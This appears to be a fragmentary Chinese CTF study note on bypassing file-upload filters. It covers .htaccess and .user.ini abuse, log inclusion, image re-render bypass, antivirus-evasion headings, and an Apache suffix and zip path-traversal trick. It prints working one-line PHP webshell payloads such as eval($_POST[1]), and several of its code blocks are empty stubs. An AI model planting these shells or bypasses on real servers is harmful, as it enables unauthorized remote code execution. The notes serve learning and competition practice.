前端验证
抓包改文件后缀。
后端验证
1、.htaccess。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell
2、.user.ini
- (1)服务器脚本语言为PHP
- (2)对应目录下面有可执行的php文件
- (3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
.htaccess
1 | 只能用于Apache服务器 |
.user.ini
1 | 可以用于多种服务器,但前提是同级目录下必须有一个php文件 |
1 | //.user.ini |
1 | //.htaccess |
如果对内容过滤了php或[]
1 | <?= eval($_POST[1]);?> |
文件上传之日志包含
.user.ini
1 | auto_prepend_file=1.png |
1.png中内容
这边不直接写log是因为它过滤了log。
这边的路径名利用了php的字符串连接特性"/var/lo"
."g/nginx/access.lo"
."g"
1 | <?=include"/var/lo"."g/nginx/access.lo"."g"?> |
幻术头字节
远程文件包含
二次渲染绕过
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
png ,gif,jpg绕过都不一样
1 | <?php |
上传图片。
图片中的shell:
1 | <?=$_GET[0]($_POST[1]);?> |
然后到图片所在路径,写shell
怎么判断是否为二次渲染?
如果有以下的字符则,可以判断它进行了二次渲染。
jpg渲染:
最好先上传一个图片经他的渲染后下载下来,在php它
运行这条命令
在把生成的图片传进去
免杀
1 | <?php |
1 | <?php |
1 | <?php |
1 | <?php |
在.user.ini中包含日志
如过当前目录下没有php文件我们需要上传一个php文件,用来包含
apache后缀解析漏洞和pclzip解压会目录穿越
1 | 例题:[第二章 web进阶]文件上传 |
在这题中,我们要解压出来名字为/../../zzz.php.zzz的文件,所以要先创建一个名字有18个字符的文件,123456789012345678
,然后压缩,再用010打开,选择并双击一个start不为0h的。
把名字改成我们需要的。
然后上传,访问/zzz.php.zzz就可以了,这样就解析成php了,因为apache是从右到左解析的,遇到不认识的后缀就忽略,但这个漏洞有版本限制。